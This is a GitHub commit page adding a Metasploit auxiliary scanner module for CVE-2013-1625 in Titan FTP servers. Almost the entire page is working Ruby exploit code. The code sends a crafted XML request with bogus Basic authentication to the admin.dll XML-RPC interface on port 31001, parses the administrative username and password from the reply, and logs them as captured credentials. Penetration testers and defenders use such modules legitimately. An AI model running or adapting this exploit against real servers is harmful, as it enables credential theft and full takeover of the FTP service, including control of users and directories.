Skip to content

Commit 7522a87

Browse files
committed
Adding an auxiliary scanner module for Titan FTP password disclosure.
1 parent 5b3b0a8 commit 7522a87

File tree

1 file changed

+97
-0
lines changed

1 file changed

+97
-0
lines changed
Lines changed: 97 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,97 @@
1+
require 'msf/core'
2+
require 'rexml/document'
3+
4+
class Metasploit3 < Msf::Auxiliary
5+
6+
include Msf::Exploit::Remote::HttpClient
7+
include Msf::Auxiliary::Scanner
8+
include Msf::Auxiliary::Report
9+
10+
def initialize
11+
super(
12+
'Name' => 'Titan FTP Administrative Password Disclosure',
13+
'Description' => %q{
14+
On Titan FTP servers prior to version 9.14.1628, an attacker can
15+
retrieve the username and password for the administrative XML-RPC
16+
interface, which listens on TCP Port 31001 by default, by sending an
17+
XML request containing bogus authentication information. After sending
18+
this request, the server responds with the legitimate username and
19+
password for the service. With this information, an attacker has
20+
complete control over the FTP service, which includes the ability to
21+
add and remove FTP users, as well as add, remove, and modify
22+
available directories and their permissions.
23+
},
24+
'Author' =>
25+
[
26+
'Spencer McIntyre'
27+
],
28+
'License' => MSF_LICENSE,
29+
'References' =>
30+
[
31+
[ 'CVE', '2013-1625' ],
32+
],
33+
)
34+
35+
register_options([Opt::RPORT(31001)], self.class)
36+
deregister_options('PASSWORD', 'USERNAME')
37+
end
38+
39+
def run_host(ip)
40+
res = send_request_cgi(
41+
{
42+
'uri' => "/admin.dll",
43+
'method' => 'POST',
44+
'headers' => {
45+
'SRT-WantXMLResponses' => 'true',
46+
'SRT-XMLRequest' => 'true',
47+
'Authorization' => 'Basic FAKEFAKE'
48+
},
49+
'data' => "<SRRequest><SRTarget>DOM</SRTarget><SRAction>GCFG</SRAction><SRServerName/><SRPayload></SRPayload></SRRequest>",
50+
})
51+
return if not res
52+
53+
if res.code == 400
54+
vprint_status("#{ip}:#{datastore['RPORT']} - Server Responeded 400, It's Likely Patched")
55+
return
56+
elsif res.code != 200
57+
vprint_status("#{ip}:#{datastore['RPORT']} - Server Responeded With An Unknown Response Code Of #{res.code}")
58+
return
59+
end
60+
61+
xml_data = res.body.strip
62+
resp_root = REXML::Document.new(xml_data).root
63+
64+
srresponse = resp_root.elements.to_a("//SRResponse")[0]
65+
srdomainparams = srresponse.elements.to_a("//SRDomainParams")[0]
66+
67+
info = {}
68+
srdomainparams.elements.each do |node|
69+
case node.name
70+
when "DomainName"
71+
info[:domain] = Rex::Text.uri_decode(node.text)
72+
when "BaseDataDir"
73+
info[:basedir] = Rex::Text.uri_decode(node.text)
74+
when "CreationDate"
75+
info[:username] = Rex::Text.uri_decode(node.text)
76+
when "CreationTime"
77+
info[:password] = Rex::Text.uri_decode(node.text)
78+
end
79+
end
80+
81+
if (info[:username] and info[:password])
82+
if (info[:domain] and info[:basedir])
83+
print_good("#{ip}:#{datastore['RPORT']} - Domain: #{info[:domain]} Base Directory: #{info[:basedir]}")
84+
end
85+
print_good("#{ip}:#{datastore['RPORT']} - Admin Credentials: #{info[:username]} #{info[:password]}")
86+
report_auth_info(
87+
:host => ip,
88+
:port => datastore['RPORT'],
89+
:user => info[:username],
90+
:pass => info[:password],
91+
:ptype => "password",
92+
:proto => "http",
93+
:sname => "Titan FTP Admin Console"
94+
)
95+
end
96+
end
97+
end

0 commit comments

Comments
 (0)